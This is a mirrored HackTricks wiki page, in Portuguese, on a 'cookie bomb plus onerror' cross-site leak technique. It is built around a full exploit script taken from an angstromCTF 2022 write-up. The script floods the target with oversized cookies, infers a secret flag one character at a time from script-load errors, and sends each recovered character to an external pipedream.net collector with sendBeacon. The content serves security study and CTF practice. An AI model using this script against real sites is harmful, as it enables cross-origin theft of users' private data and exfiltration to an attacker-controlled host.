mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
80 lines
4.1 KiB
Markdown
80 lines
4.1 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
O seguinte **script** retirado de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) está explorando uma funcionalidade que permite ao usuário **inserir qualquer quantidade de cookies**, e então carregar um arquivo como um script sabendo que a verdadeira resposta será maior do que a falsa e então. Se bem-sucedido, a resposta é um redirecionamento com uma URL resultante mais longa, **muito grande para ser processada pelo servidor, resultando em um código de status http de erro**. Se a busca falhar, nada acontecerá porque a URL é curta.
|
|
```html
|
|
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
|
<script>
|
|
const $ = document.querySelector.bind(document);
|
|
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
|
|
let i = 0;
|
|
const stuff = async (len=3500) => {
|
|
let name = Math.random();
|
|
$("form").target = name;
|
|
let w = window.open('', name);
|
|
$("#f").value = "_".repeat(len);
|
|
$("#f").name = i++;
|
|
$("form").submit();
|
|
await sleep(100);
|
|
};
|
|
const isError = async (url) => {
|
|
return new Promise(r => {
|
|
let script = document.createElement('script');
|
|
script.src = url;
|
|
script.onload = () => r(false);
|
|
script.onerror = () => r(true);
|
|
document.head.appendChild(script);
|
|
});
|
|
}
|
|
const search = (query) => {
|
|
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
|
|
};
|
|
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
|
|
const url = "//en4u1nbmyeahu.x.pipedream.net/";
|
|
let known = "actf{";
|
|
window.onload = async () => {
|
|
navigator.sendBeacon(url + "?load");
|
|
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
|
|
await stuff(1600);
|
|
navigator.sendBeacon(url + "?go");
|
|
while (true) {
|
|
for (let c of alphabet) {
|
|
let query = known + c;
|
|
if (await search(query)) {
|
|
navigator.sendBeacon(url, query);
|
|
known += c;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
};
|
|
</script>
|
|
```
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporte o HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|